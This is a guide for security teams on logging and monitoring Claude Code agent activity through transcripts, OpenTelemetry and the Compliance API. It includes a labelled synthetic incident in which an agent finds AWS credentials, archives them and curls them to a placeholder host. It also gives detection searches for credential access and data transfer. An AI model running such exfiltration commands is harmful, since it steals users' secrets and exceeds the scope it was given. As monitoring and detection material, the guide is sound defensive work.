tl;dr
You want to see what people are doing in Claude Code from your SIEM. Claude Code records activity in four places, and three of them are worth collecting:
- Session transcripts: a JSONL file (one JSON object per line) per session on each machine. The most detail, but you need an endpoint agent to collect them.
- OpenTelemetry (OTel): events Claude Code sends to a collector you run. Off by default, with content redacted until you enable it.
- Compliance API: Anthropic’s retained copy of prompts, tool calls, and results from local sessions, for eligible Claude Enterprise organizations.
Our advice: stream OTel into your SIEM first, add the Compliance API if you are eligible and need prompt and tool content, and copy session transcripts only when you investigate one machine. Before the OTel rollout, decide whether prompts and commands belong in your SIEM, and test the managed settings on one machine.
We tested Claude Code 2.1.286 on Linux, in a cloud-hosted session. The Compliance API sections follow Anthropic’s documentation only. The Codex guide and the Cursor guide cover the same ground for those agents.
What happens when someone uses Claude Code
Every log source records part of one loop. A user types a prompt. Claude asks to use a tool, such as a shell command, a file edit, or an MCP server. Claude Code checks whether the tool is allowed, by your settings, a hook (a command you configure to run at that step), or the user. The tool runs, its output goes back to Claude, and Claude uses another tool or answers.
The figure follows that loop from left to right in five steps. The code at the bottom of each card is the record that step leaves.
prompt.id and tool_decision, which are OTel.- 1PromptThe user asks for something
promptId · prompt.id - 2Tool requestClaude asks to run a tool
tool_use - 3Permission checkAllowed by config, a hook, or the user?
tool_decision - 4ResultWhat the tool returned
tool_result - 5AnswerClaude replies to the user
text
Security monitoring mostly cares about steps 1 to 4: what was asked, what the agent tried to do, whether it was allowed, and what came back.
Your EDR already sees the processes and file access, attributed to Claude Code. It does not see the prompt behind them, which session caused each action, or what allowed it. OTel adds that, and the EDR stays your record of what happened on the machine.
The sources at a glance
Each card in the figure below is one source. The label at the top of each card says where the source lives and whether it is on by default, and the card colors (periwinkle, cream, sage, and peach) only tell the sources apart. The table after the figure compares them in the same order. Prompt history, the second card, only helps you find a session, as the paragraph after the table explains.
-
Local · on by default
Session transcript
projects/.../*.jsonlWhat did the agent do in this session? -
Local · on by default
Prompt history
history.jsonlWhat did the user type, across sessions? -
Central · opt-in
OpenTelemetry
claude_code.*What is happening across the fleet right now? -
Central · Enterprise
Compliance API
/sessions/localWhat did Anthropic retain for this session?
This table compares the four sources by location, default setting, contents, and best use.
| Source | Where it lives | On by default? | What it contains | Best for |
|---|---|---|---|---|
| Session transcript | ~/.claude/projects/ on each machine |
Yes | Prompts, tool calls, tool results, and replies in one session | Investigating one user’s session in full |
| Prompt history | ~/.claude/history.jsonl on each machine |
Yes (documented; absent in our cloud session) | Typed prompts with time and project | Finding which session to open |
| OpenTelemetry | Your collector, then your SIEM | No | Prompt, tool decision, tool result, API, MCP, plugin, and hook events. Content is redacted unless you enable it | Live monitoring and alerting across your fleet |
| Compliance API | Anthropic, retrieved over an API | Enterprise only | Retained prompts, tool inputs, and tool results per session | Central, long-term record of what was asked and done |
Prompt history holds typed prompts only, so use it to find which session to open, and leave it out of your SIEM. Anthropic documents it as on by default, but our cloud-hosted test session did not write it.
We also leave out the Claude Code Analytics API: it returns daily per-user totals with no event-by-event activity.
Source 1: the local session transcript
The transcript is the most detailed record Claude Code writes: full prompts, tool input, tool output, and replies. It does not record who approved a call or the user’s email.
Find the Claude Code transcript files
Claude Code keeps its data in ~/.claude, or wherever CLAUDE_CONFIG_DIR points. Anthropic’s application-data guide documents the layout:
~/.claude/history.jsonl prompt history, all projects
~/.claude/projects/<project>/<session-id>.jsonl one session transcript
~/.claude/projects/<project>/<session-id>/subagents/ transcripts of delegated subagents
~/.claude/projects/<project>/<session-id>/tool-results/ large tool outputs saved separately
~/.claude/file-history/<session-id>/ copies of files before Claude edited them
~/.claude/debug/ debug logs, only when debug logging is on
<project> is the start folder with every character other than letters and digits replaced by -, so /Users/alex/projects/example becomes projects/-Users-alex-projects-example/. That encoding can change, so find the files with a search. We did not run this find as published, so try it on one machine first:
claude --version
find "${CLAUDE_CONFIG_DIR:-$HOME/.claude}/projects" \
-type f -name '*.jsonl' -print
These plain-text files can hold source code, command output, and pasted secrets. Copy them into an access-controlled location before you analyze them.
How a transcript is structured
The records below come from our 2.1.286 transcripts, trimmed, with every identifier, path, and value replaced. Anthropic calls this format internal and says it can change in any release, so test your parser against the versions you run.
Every line in our files had a top-level type. This table lists the types we saw and how much each one matters for monitoring.
type |
What it records | Monitoring value |
|---|---|---|
user |
A typed prompt, or a tool result being returned to Claude | High |
assistant |
Part of Claude’s response: a text, thinking, or tool_use block |
High |
attachment |
Context Claude Code added to the turn, such as hook runs, the date, or the model in use | Medium (hook runs) |
cost-state |
Session totals: estimated cost, duration, lines added and removed | Low |
queue-operation, last-prompt, ai-title, mode, atis-latch |
Housekeeping: queued input, resume pointer, generated session title, and undocumented internal state | Low |
This table lists the envelope fields that user, assistant, and attachment records share.
| Field | Meaning |
|---|---|
uuid |
ID of this line |
parentUuid |
ID of the line before it. Following these rebuilds the conversation in order |
sessionId |
The session. Also the transcript filename |
timestamp |
When the line was written (UTC) |
cwd, gitBranch |
Working directory and Git branch at the time |
version |
Claude Code version that wrote the line |
entrypoint |
How Claude Code was launched. Our cloud-hosted session showed remote_cowork; expect other values for the terminal, IDE, and desktop app |
isSidechain |
true when the line belongs to a subagent |
This filter counts the record and block types in a copied file. Our test ran a simpler count, so try this filter on one file first:
session_file="/evidence/claude/session-example.jsonl"
jq -r '[.type, (.message.content | if type == "array" then (map(.type) | join(",")) else type end)] | @tsv' \
"$session_file" | sort | uniq -c
The prompt record
A typed prompt is a user record. The promptId ties together everything that prompt caused. permissionMode tells you how much Claude was allowed to do without asking.
{
"type": "user",
"uuid": "1f0c8a52-0000-4000-8000-000000000001",
"parentUuid": null,
"sessionId": "5d2b7e10-0000-4000-8000-00000000a001",
"promptId": "9a41c3d7-0000-4000-8000-0000000000p1",
"timestamp": "2026-09-03T09:30:00.000Z",
"cwd": "/Users/alex/projects/example",
"gitBranch": "main",
"version": "2.1.286",
"entrypoint": "remote_cowork",
"userType": "external",
"isSidechain": false,
"permissionMode": "default",
"promptSource": "sdk",
"turnPosition": { "promptIndex": 0, "turnIndex": 1 },
"message": {
"role": "user",
"content": "Run the test suite and tell me what fails."
}
}
We saw message.content as both a plain string and an array of text blocks. Handle both.
The tool request record
Claude’s response is split across several assistant lines, one per content block. Lines from the same response share message.id and requestId, and apiBlockIndex gives their order. A tool request is a tool_use block:
{
"type": "assistant",
"uuid": "1f0c8a52-0000-4000-8000-000000000002",
"parentUuid": "1f0c8a52-0000-4000-8000-000000000001",
"sessionId": "5d2b7e10-0000-4000-8000-00000000a001",
"timestamp": "2026-09-03T09:30:02.100Z",
"requestId": "req_EXAMPLE01",
"apiBlockIndex": 0,
"version": "2.1.286",
"isSidechain": false,
"message": {
"id": "msg_EXAMPLE01",
"role": "assistant",
"model": "claude-sonnet-5-5",
"stop_reason": "tool_use",
"content": [
{
"type": "tool_use",
"id": "toolu_EXAMPLE01",
"name": "Bash",
"input": {
"command": "npm test",
"description": "Run the test suite"
}
}
],
"usage": { "input_tokens": 2, "output_tokens": 80 }
}
}
input is a JSON object, so you can query input.command directly. MCP tools appear as mcp__<server>__<tool>.
The tool result record
The output comes back as a user record with a tool_result block whose tool_use_id matches the request’s id. Claude Code also stores a structured copy in toolUseResult; for Bash it separates stdout and stderr.
{
"type": "user",
"uuid": "1f0c8a52-0000-4000-8000-000000000003",
"parentUuid": "1f0c8a52-0000-4000-8000-000000000002",
"sourceToolAssistantUUID": "1f0c8a52-0000-4000-8000-000000000002",
"sessionId": "5d2b7e10-0000-4000-8000-00000000a001",
"promptId": "9a41c3d7-0000-4000-8000-0000000000p1",
"timestamp": "2026-09-03T09:30:05.400Z",
"message": {
"role": "user",
"content": [
{
"type": "tool_result",
"tool_use_id": "toolu_EXAMPLE01",
"content": "42 passing, 1 failing",
"is_error": false
}
]
},
"toolUseResult": {
"stdout": "42 passing, 1 failing",
"stderr": "",
"interrupted": false,
"isImage": false,
"noOutputExpected": false
}
}
Together these records form a chain, shown below as four steps from left to right. The field at the bottom of each card links that step to the others.
parentUuid. Requests and results pair up with the tool-use ID.- 1PromptUser record, string or text blocks
promptId - 2RequestAssistant record, tool_use block
tool_use.id - 3ResultUser record, tool_result block
tool_use_id - 4ReplyAssistant record, text block
parentUuid
This filter lists each tool call and result without printing prompts or replies. We did not run this one as published either:
jq -c '
select(.message.content | type == "array") | .message.content[]
| select(.type == "tool_use" or .type == "tool_result")
| if .type == "tool_use" then {id, name, input}
else {id: .tool_use_id, is_error, result: (.content | tostring | .[0:200])} end
' "$session_file"
Blocked calls
When Claude Code refuses a tool call, the transcript still records the request. In a second, non-interactive test run that allowed only echo, Claude asked to run cat /etc/hostname, outside the session’s working directory. Claude Code blocked it and wrote this result:
{
"type": "user",
"toolDenialKind": "user-rejected",
"toolUseResult": "Error: cat in '/etc/hostname' was blocked. For security, Claude Code may only concatenate files from the allowed working directories for this session: '/Users/alex/projects/example'.",
"message": {
"role": "user",
"content": [
{
"type": "tool_result",
"tool_use_id": "toolu_EXAMPLE02",
"content": "cat in '/etc/hostname' was blocked. ...",
"is_error": true
}
]
}
}
No person clicked “deny”; Claude Code’s own path check stopped it, yet the label read user-rejected. Treat toolDenialKind as a hint and read the message. Repeated blocked reads outside the project are a signal even when every attempt fails.
Large outputs, subagents, and hooks
Large tool output goes to tool-results/<tool_use_id>.json, and the transcript keeps a <persisted-output> preview naming that file. Subagent work goes under subagents/, with isSidechain: true. Collect the whole session folder, or you will miss both. Each hook run leaves an attachment record with type: "hook_success", the command, its exit code, and its duration, so you can tell whether a security hook ran.
Transcript limits for a SIEM
The transcript has three problems for a SIEM:
- The format can change in any release, breaking your parser and the detections built on it.
- Users can edit or delete it. It is plain text with ordinary file permissions.
- Claude Code deletes transcripts after 30 days by default (
cleanupPeriodDays). From 2.1.248, sessions started or last continued in Claude Desktop or Cowork are kept at any age unlessdesktopSessionCleanupPeriodDaysor a managedcleanupPeriodDayssets a limit.CLAUDE_CODE_SKIP_PROMPT_HISTORYturns off both transcripts and prompt history.
Source 2: OpenTelemetry
With OTel, Claude Code sends an event for each prompt, tool decision, tool result, and API call from each machine you configure. Each event follows the path below, from the user’s machine on the left to your SIEM on the right. The next section covers the settings for the first two steps.
- 1Claude CodeEmits claude_code.* events on each machine
OTEL_LOGS_EXPORTER - 2OTLP exportgRPC or HTTP to your endpoint
:4317 · :4318 - 3CollectorReceives, filters, forwards
OTel Collector - 4SIEMSearch, alert, retain
your index
Switch it on
OTel stays off until you set CLAUDE_CODE_ENABLE_TELEMETRY=1. To try it on one machine, set these variables before you start Claude Code:
export CLAUDE_CODE_ENABLE_TELEMETRY=1
export OTEL_LOGS_EXPORTER=otlp
export OTEL_METRICS_EXPORTER=otlp
export OTEL_EXPORTER_OTLP_PROTOCOL=grpc
export OTEL_EXPORTER_OTLP_ENDPOINT="https://otel.example.invalid:4317"
claude
Our test printed events to the terminal with OTEL_LOGS_EXPORTER=console and OTEL_METRICS_EXPORTER=none, and sent nothing to a collector, so confirm that events reach yours. Replace the reserved example.invalid host with your collector.
For a fleet, put the variables in Claude Code’s managed settings file. Anthropic documents these paths: /Library/Application Support/ClaudeCode/managed-settings.json on macOS, /etc/claude-code/managed-settings.json on Linux, and C:\Program Files\ClaudeCode\managed-settings.json on Windows. This is the form Anthropic’s monitoring guide documents; we did not deploy it:
{
"env": {
"CLAUDE_CODE_ENABLE_TELEMETRY": "1",
"OTEL_LOGS_EXPORTER": "otlp",
"OTEL_METRICS_EXPORTER": "otlp",
"OTEL_EXPORTER_OTLP_PROTOCOL": "grpc",
"OTEL_EXPORTER_OTLP_ENDPOINT": "https://otel.example.invalid:4317",
"OTEL_EXPORTER_OTLP_HEADERS": "Authorization=Bearer example-token"
}
}
Managed values override the user’s own settings, with these exceptions that decide who can switch OTel off:
- Older versions. Before 2.1.217 a user setting could redirect a signal away from your collector.
- Admin rights. A developer who administers the machine can edit or delete the file, so have your MDM redeploy it on a schedule.
- Cloud sessions. Anthropic-hosted sessions do not read the device file and need server-managed settings.
- Exporter selectors left out. Selectors follow normal precedence, so if the managed file omits
OTEL_LOGS_EXPORTERorOTEL_METRICS_EXPORTER, a user can switch that signal toconsoleornone, and a repository can set it tonone. Set both in the managed file, as the example does.
A broken file stops everyone it reaches: Anthropic documents that Claude Code refuses to start if the file is not valid JSON. Deploy to one machine first and check that /status lists Enterprise managed settings under Setting sources.
To fetch or rotate the token at runtime, use the otelHeadersHelper setting. It works only with the http/protobuf and http/json protocols, so with grpc, as in the example, Claude Code sends only the static headers. If the helper fails, the session sends nothing until it works again.
Choose how much content to send
By default a prompt event says how long the prompt was, and the text reads <REDACTED>. This table lists the variables that turn content on, class by class.
| Variable | What it adds | Default |
|---|---|---|
OTEL_LOG_USER_PROMPTS=1 |
Prompt text | Off |
OTEL_LOG_TOOL_DETAILS=1 |
Tool input, such as the full shell command or file path | Off |
OTEL_LOG_ASSISTANT_RESPONSES=1 |
Claude’s reply text | Follows OTEL_LOG_USER_PROMPTS; set 0 to keep replies redacted (2.1.193+) |
OTEL_LOG_TOOL_CONTENT=1 |
Tool output, in a trace span event (needs tracing; truncated at 60 KB by default) | Off |
OTEL_LOG_RAW_API_BODIES=1 |
Full API requests and responses, including the whole conversation | Off |
OTEL_LOG_TOOL_DETAILS matters most: without it you see that Bash ran, but not what it ran. OTEL_LOG_USER_PROMPTS comes next. Both send sensitive data. Commands can contain paths and pasted secrets, and prompts are what employees typed. Every event also carries the signed-in user’s email, even with all content redacted. Check with your privacy team or works council where that applies, and set SIEM access and retention to match.
What an event looks like
We ran 2.1.286 with the console exporter, OTEL_LOG_TOOL_DETAILS=1, and OTEL_LOG_USER_PROMPTS=1, and asked it to run echo hello-otel. This is the tool_result event, with identifiers replaced:
{
"resource": {
"attributes": {
"service.name": "claude-code",
"service.version": "2.1.286",
"os.type": "linux",
"host.arch": "amd64"
}
},
"instrumentationScope": { "name": "com.anthropic.claude_code.events", "version": "2.1.286" },
"body": "claude_code.tool_result",
"attributes": {
"user.id": "3f9a...e1",
"user.email": "alex@example.com",
"user.account_uuid": "00000000-0000-4000-8000-0000000000u1",
"organization.id": "00000000-0000-4000-8000-0000000000o1",
"session.id": "5d2b7e10-0000-4000-8000-00000000a002",
"terminal.type": "linux",
"event.name": "tool_result",
"event.timestamp": "2026-09-03T09:42:05.400Z",
"event.sequence": 14,
"prompt.id": "9a41c3d7-0000-4000-8000-0000000000p2",
"tool_name": "Bash",
"tool_use_id": "toolu_EXAMPLE04",
"success": "true",
"duration_ms": "315",
"tool_parameters": "{\"bash_command\":\"echo\",\"full_command\":\"echo hello-otel\",\"description\":\"Print hello-otel\"}",
"tool_input": "{\"command\":\"echo hello-otel\",\"description\":\"Print hello-otel\"}",
"tool_input_size_bytes": "62",
"tool_result_size_bytes": "10"
}
}
success, duration_ms, and the size fields arrived as strings ("true", "315"), so cast them or numeric alerts will not work. tool_input is itself a JSON string. event.name drops the claude_code. prefix that the body carries.
The matching tool_decision event says whether the call was allowed and by what:
{
"body": "claude_code.tool_decision",
"attributes": {
"session.id": "5d2b7e10-0000-4000-8000-00000000a002",
"prompt.id": "9a41c3d7-0000-4000-8000-0000000000p2",
"event.timestamp": "2026-09-03T09:42:05.080Z",
"tool_name": "Bash",
"tool_use_id": "toolu_EXAMPLE04",
"tool_source": "builtin",
"decision": "accept",
"source": "config",
"tool_parameters": "{\"bash_command\":\"echo\",\"full_command\":\"echo hello-otel\",\"description\":\"Print hello-otel\"}"
}
}
decision is accept or reject. source says who decided: config (settings, allow and deny rules, managed policy, or CLI flags), hook, or the user (user_temporary, user_permanent, user_reject, user_abort). config does not say which rule matched. Anthropic documents that a rejected call produces a tool_decision and no tool_result; the blocked call in our test produced neither (see Where OTel falls short).
With prompt logging switched off, the user_prompt event for the same prompt would look like this (we reuse the identifiers from the run above):
{
"body": "claude_code.user_prompt",
"attributes": {
"session.id": "5d2b7e10-0000-4000-8000-00000000a002",
"prompt.id": "9a41c3d7-0000-4000-8000-0000000000p2",
"message.uuid": "1f0c8a52-0000-4000-8000-000000000004",
"prompt_length": "51",
"prompt": "<REDACTED>"
}
}
One prompt as a stream of events
The figure below shows the main events we saw for the echo prompt, all sharing one prompt.id, from left to right in the order they arrived. The field at the bottom of each card is the ID that joins it to other records.
event.timestamp; use event.sequence only to break ties.- 1user_
promptPrompt length, text if enabled prompt.id - 2tool_
decisionaccept, source config tool_use_id - 3api_
requestModel, tokens, cost, latency request_id - 4tool_
resultSuccess, duration, input, sizes tool_use_id - 5assistant_
responseReply length, text if enabled message.uuid
api_request arrived after tool_decision, although the model asks for the tool first, so rebuild the loop by ID. Before the prompt came startup events (managed_settings_resolved, plugin_loaded per plugin, mcp_server_connection per MCP server) and a background api_request with query_source: generate_session_title. Filter on query_source so housekeeping does not inflate activity counts.
Our one-command run produced 18 events: nine at startup, two for the session title, and seven from the prompt onward. Every tool call and model call adds more, so measure ingest volume on a pilot group before you size SIEM licenses.
The events worth monitoring
Anthropic’s monitoring guide lists the full catalog. This table maps the common user-activity questions to the events and fields that answer them.
| Question | Event | Key fields |
|---|---|---|
| Who is using Claude Code, and from where? | Any event | user.email, user.account_uuid, organization.id, terminal.type, service.version |
| What did they ask? | claude_code.user_prompt |
prompt.id, prompt_length, prompt when enabled |
| What did the agent try to do? | claude_code.tool_decision |
tool_name, tool_parameters when enabled, tool_source |
| Was it allowed, and by whom? | claude_code.tool_decision |
decision, source |
| Did it run, and did it work? | claude_code.tool_result |
success, duration_ms, tool_input when enabled |
| Did they add an MCP server or plugin? | claude_code.mcp_server_connection, claude_code.plugin_loaded |
Server or plugin name (needs OTEL_LOG_TOOL_DETAILS=1) and scope |
| Did a hook run? | claude_code.hook_registered, claude_code.hook_execution_start |
Hook name and event. The blocking count is on the beta claude_code.hook trace span |
Where OTel falls short
Log events carry the size of tool output and leave out the text. The text comes only through the tracing option OTEL_LOG_TOOL_CONTENT or the raw API bodies, and raw bodies hold the whole conversation.
We also found a gap. The transcript recorded the blocked read of /etc/hostname from our second run (see Blocked calls). OTel recorded the prompt and the reply, with no tool_decision and no tool_result for the blocked call. This may be specific to that kind of block (a built-in path check, in non-interactive mode, in 2.1.286). Test the blocks you care about before you rely on OTel to see them.
Source 3: the Compliance API
On an eligible Claude Enterprise plan, Anthropic keeps a copy of each local Claude Code session that you can pull over an API: prompts, Claude’s text, tool requests, and tool results, in order. We could not test it, so this section follows Anthropic’s documentation. Collecting one session takes three calls, shown below from left to right; the code block after the figure lists the same endpoints in the same order.
- 1List sessionsSessions in a time window
/sessions/local - 2Get sessionUser, workspace, surface, time bounds
/sessions/local/{id} - 3Get messagesOrdered text, tool_use, tool_result
/{id}/messages
GET /v1/compliance/apps/sessions/local
GET /v1/compliance/apps/sessions/local/{local_session_id}
GET /v1/compliance/apps/sessions/local/{local_session_id}/messages
The local-session API reference documents the list and detail calls; the messages reference documents the third. You need an eligible organization with compliance access turned on, a Compliance Access Key, and the read:compliance_user_data scope. An ordinary Console admin key only reaches the Activity Feed.
We built this request from those references and did not run it, so check it against one session first:
api_root="https://api.anthropic.com"
session_id="clls_EXAMPLE"
curl --fail-with-body --silent --show-error \
--url "${api_root}/v1/compliance/apps/sessions/local/${session_id}/messages?tool_use_input_max_bytes=10000&tool_result_max_bytes=10000" \
--header "x-api-key: ${ANTHROPIC_COMPLIANCE_ACCESS_KEY}" \
--header "anthropic-version: 2023-06-01"
Keep the key out of shell history and code. The responses contain whatever users typed and their tools returned.
What a message looks like
Each message has an ID, role, time, model, a provenance field, and a content array of typed blocks. This synthetic example follows the documented shape:
{
"id": "clsm_EXAMPLE01",
"role": "assistant",
"created_at": "2026-09-03T10:00:03Z",
"model": "example-model",
"provenance": null,
"content": [
{
"type": "tool_use",
"id": "toolu_EXAMPLE03",
"name": "Bash",
"input": "{\"command\":\"find /Users/alex -name credentials\"}",
"truncated": false
}
]
}
{
"id": "clsm_EXAMPLE02",
"role": "user",
"created_at": "2026-09-03T10:00:04Z",
"provenance": null,
"content": [
{
"type": "tool_result",
"tool_use_id": "toolu_EXAMPLE03",
"name": "Bash",
"is_error": false,
"content": [{ "type": "text", "text": "/Users/alex/.aws/credentials" }],
"truncated": false
}
]
}
A toolu_ ID links request and result, as in the transcript. Tool input arrives as a JSON string. Input and output are cut at 10,000 bytes by default; -1 raises that to about 1 MiB, which also raises the sensitivity and storage cost. When truncated is true, the input may not be valid JSON.
What the Compliance API leaves out
- Coverage: only local sessions signed in with an eligible Enterprise account. The Compliance FAQ excludes Claude Code cloud sessions, API-key sessions, and sessions through Amazon Bedrock, Google Cloud, or Microsoft Foundry. Sessions under zero data retention are excluded too, so a session missing from the API may still have run.
- Content: no extended thinking, system prompt, tool definitions, or non-text tool output. A
provenanceof typecontent_unavailable,client_asserted, orsynthetic_markermarks a record as incomplete, client-supplied, or a marker. - Approvals: the messages do not say who approved a call.
- Timing: you poll it on a schedule, so it suits retention and investigation better than alerting.
Anthropic retains these transcripts for six years by default, or your configured period, and for 30 days in organizations with HIPAA readiness enabled. That is separate from the 30-day local cleanup.
One incident, three views
This incident is synthetic: we scripted the records, using the field shapes from our tests and, for the Compliance API, from Anthropic’s documentation. A user asks Claude Code to fix a typo in the README. The agent then searches the home directory for credentials, archives them, and tries to upload the archive. Names are fictional and .invalid hosts cannot resolve.
Incident in the transcript
The synthetic transcript shows every step with full commands and output, trimmed to the fields that matter:
{"type":"user","promptId":"p-01","sessionId":"s-01","timestamp":"2026-09-03T10:00:00Z","permissionMode":"acceptEdits","message":{"role":"user","content":"Fix the typo in README.md. Don't touch anything outside this repo."}}
{"type":"assistant","sessionId":"s-01","timestamp":"2026-09-03T10:00:03Z","requestId":"req_01","message":{"content":[{"type":"tool_use","id":"toolu_01","name":"Bash","input":{"command":"find $HOME -name credentials -path '*.aws*'"}}]}}
{"type":"user","promptId":"p-01","sessionId":"s-01","timestamp":"2026-09-03T10:00:04Z","message":{"content":[{"type":"tool_result","tool_use_id":"toolu_01","content":"/Users/alex/.aws/credentials","is_error":false}]}}
{"type":"assistant","sessionId":"s-01","timestamp":"2026-09-03T10:00:07Z","requestId":"req_02","message":{"content":[{"type":"tool_use","id":"toolu_02","name":"Bash","input":{"command":"tar -czf /tmp/c.tgz /Users/alex/.aws/credentials"}}]}}
{"type":"user","promptId":"p-01","sessionId":"s-01","timestamp":"2026-09-03T10:00:08Z","message":{"content":[{"type":"tool_result","tool_use_id":"toolu_02","content":"","is_error":false}]}}
{"type":"assistant","sessionId":"s-01","timestamp":"2026-09-03T10:00:10Z","requestId":"req_03","message":{"content":[{"type":"tool_use","id":"toolu_03","name":"Bash","input":{"command":"curl --data-binary @/tmp/c.tgz https://drop.example.invalid/u"}}]}}
{"type":"user","promptId":"p-01","sessionId":"s-01","timestamp":"2026-09-03T10:00:11Z","message":{"content":[{"type":"tool_result","tool_use_id":"toolu_03","content":"curl: (6) Could not resolve host: drop.example.invalid","is_error":true}]}}
Incident in OTel
The synthetic OTel records assume OTEL_LOG_TOOL_DETAILS=1 with prompt logging off, and show attributes only, trimmed to the ones that matter. Every event also carries user.email:
{"event.name":"user_prompt","session.id":"s-01","prompt.id":"p-01","user.email":"alex@example.com","prompt_length":"66","prompt":"<REDACTED>"}
{"event.name":"tool_decision","session.id":"s-01","prompt.id":"p-01","tool_use_id":"toolu_01","tool_name":"Bash","decision":"accept","source":"config","tool_parameters":"{\"bash_command\":\"find\",\"full_command\":\"find $HOME -name credentials -path '*.aws*'\"}"}
{"event.name":"tool_result","session.id":"s-01","prompt.id":"p-01","tool_use_id":"toolu_01","tool_name":"Bash","success":"true","duration_ms":"412","tool_result_size_bytes":"28"}
{"event.name":"tool_decision","session.id":"s-01","prompt.id":"p-01","tool_use_id":"toolu_02","tool_name":"Bash","decision":"accept","source":"config","tool_parameters":"{\"bash_command\":\"tar\",\"full_command\":\"tar -czf /tmp/c.tgz /Users/alex/.aws/credentials\"}"}
{"event.name":"tool_result","session.id":"s-01","prompt.id":"p-01","tool_use_id":"toolu_02","tool_name":"Bash","success":"true","duration_ms":"95","tool_result_size_bytes":"0"}
{"event.name":"tool_decision","session.id":"s-01","prompt.id":"p-01","tool_use_id":"toolu_03","tool_name":"Bash","decision":"accept","source":"config","tool_parameters":"{\"bash_command\":\"curl\",\"full_command\":\"curl --data-binary @/tmp/c.tgz https://drop.example.invalid/u\"}"}
{"event.name":"tool_result","session.id":"s-01","prompt.id":"p-01","tool_use_id":"toolu_03","tool_name":"Bash","success":"false","duration_ms":"310","tool_result_size_bytes":"54"}
Incident in the Compliance API
For the synthetic incident, the Compliance API would return the same requests and results as the transcript, as tool_use and tool_result blocks, after the session.
What each view gives you
This table shows what each source records about the synthetic incident.
| Session transcript | OpenTelemetry | Compliance API | |
|---|---|---|---|
| The prompt and its scope (“don’t touch anything outside this repo”) | Yes | Only with OTEL_LOG_USER_PROMPTS |
Yes |
| Full commands | Yes | Only with OTEL_LOG_TOOL_DETAILS |
Yes, up to the byte limit |
| What the find returned (the credential path) | Yes | No, only the size | Yes |
| The curl failure message | Yes | No, only success: false |
Yes |
| Who approved each call | No. permissionMode shows only the session’s permission mode |
Yes, decision and source |
No |
| User identity | No email; machine and folder only | Email and account IDs on every event when signed in | User and workspace IDs from session metadata |
| Available centrally | Only if you ship the files with an endpoint agent | Yes, within seconds | Yes, but not real time: you poll after the session |
None of the three proves the upload failed on the network side, or that the archive still exists. Your proxy, DNS, and endpoint logs confirm what happened on the machine.
Join the sources by ID
This table lists the pairs we confirmed match exactly between OTel and the transcript in 2.1.286.
| OTel attribute | Transcript field |
|---|---|
session.id |
sessionId (and the filename) |
prompt.id |
promptId |
message.uuid on user_prompt |
uuid of the prompt record |
tool_use_id |
tool_use.id and tool_result.tool_use_id |
request_id on api_request |
requestId |
Anthropic’s correlation guide says message.uuid needs 2.1.214 or later and the transcript side can change in any release. Anthropic also documents message.uuid on assistant_response, pointing to the last transcript line of that response; we did not check that pair. We could not test whether Compliance toolu_ values match, and Compliance sessions have their own clls_ IDs. So alert on OTel, pull the transcript for the same session.id and tool_use_id, and find the Compliance session by user and time window.
Which should you send to your SIEM?
Send OTel to your SIEM first, and add the Compliance API if you are eligible. In the figure below, the strengths of OpenTelemetry sit under the sage green Pros label and its weaknesses under the peach Cons label. The table after it weighs all four sources by when to choose each and what it costs.
Pros OpenTelemetry
- Sent every 5 seconds by default from each machine you configure.
- User email and account IDs on each event when the user is signed in.
- Says whether config, a hook, or the user allowed or rejected a call, for the calls it records.
- Standard OTLP, so an OpenTelemetry Collector can receive and forward it.
- You choose how much content leaves the machine.
Cons OpenTelemetry
- Off by default. Local admins and older versions can bypass managed settings.
- Log events carry only the size of tool output.
- Commands and prompts only if you enable the content variables.
- Email on each event when signed in makes it personal data, even with content redacted.
- We saw a blocked call that produced no decision event.
This table lists, for each source, when to choose it, what it costs you, and whether to send it to your SIEM.
| Source | Choose it when | What it costs you | Send to SIEM? |
|---|---|---|---|
| OpenTelemetry | You want live, per-user alerts on what the agent ran | A managed settings rollout to every machine; a privacy decision on prompts and commands; ingest that grows with agent activity | Yes, first |
| Compliance API | You are on eligible Enterprise and need retained prompts and tool output | Eligibility and a Compliance Access Key; a polling job; no cloud, API-key, or third-party-provider sessions | Yes, if you are eligible |
| Session transcript | You investigate one session and need everything a tool returned | An endpoint agent to collect it; a parser that can break on any release; records a user can edit and cleanup removes | On demand during investigations |
| Prompt history | You need to find which session to open | Holds typed prompts only | No |
Without the Compliance API, only the session transcript holds what commands returned, unless you turn on OTel tracing with OTEL_LOG_TOOL_CONTENT. We advise against ingesting transcripts continuously, because an update can quietly break your parser and every detection built on it. OTel with tool details already shows which commands ran, what allowed them, and whether they succeeded.
A setup you can copy
- Turn on OTel through managed settings, on one machine first. Set
CLAUDE_CODE_ENABLE_TELEMETRY=1, the OTLP exporter variables, andOTEL_LOG_TOOL_DETAILS=1. AddOTEL_LOG_USER_PROMPTS=1only if your privacy review allows prompt text; it also sends replies unless you setOTEL_LOG_ASSISTANT_RESPONSES=0. Check/statusand your collector, then widen the rollout and keep the raw events. - At ingestion, cast
success,duration_ms, and the size fields to numbers, decodetool_parametersandtool_input, and filter backgroundapi_requestevents byquery_source. - On an eligible Enterprise plan, schedule a job that pulls new Compliance sessions and their messages into the SIEM or a data lake, with the byte limits you requested.
- For an investigation, copy the session folder (transcript,
subagents/,tool-results/) early, before the user or cleanup removes it, and join it to OTel onsession.idandtool_use_id. - Confirm effects elsewhere. A tool result tells you what Claude Code saw. Endpoint, Git, identity, proxy, and SaaS logs tell you what changed.
What to watch first
Once OTel with tool details is flowing, start with these searches:
- Credential locations:
tool_parameterscontaining.ssh,.aws,.env, or keychain tools, especially outside the project folder. - Archive then transfer: a
tar,zip, or similar call followed bycurl,scp, or similar in the sameprompt.id. - New MCP servers or plugins:
mcp_server_connectionorplugin_loadedwith a name you have not seen before, followed by calls to it. - Persistent approvals:
tool_decisionwithsource: user_permanent, then later calls of the same tool approved byconfig. - Repeated rejections: several
decision: rejectevents in one session, which can mean the agent is trying ways round a block. Blocks like the one in our test may not appear at all. - Silence: a user whose events stop. Someone may have removed the managed settings, or the user stopped using Claude Code.
None of these proves bad intent. Migrations, incident response, and admin work produce similar sequences. They tell you where to look.
Summary
Start with OpenTelemetry: it is the only central, live Claude Code source that records what allowed a call, although one blocked call in our test left no decision event. Turn it on through managed settings, test the file on one machine first, and agree with your privacy team how much prompt and command content it sends. On an eligible Claude Enterprise plan, add the Compliance API for retained prompts and tool output. Copy the session transcript when one investigation needs the full tool output.
Treat what the searches in What to watch first find as a place to look, and confirm what changed in endpoint, Git, identity, proxy, and SaaS logs before you act.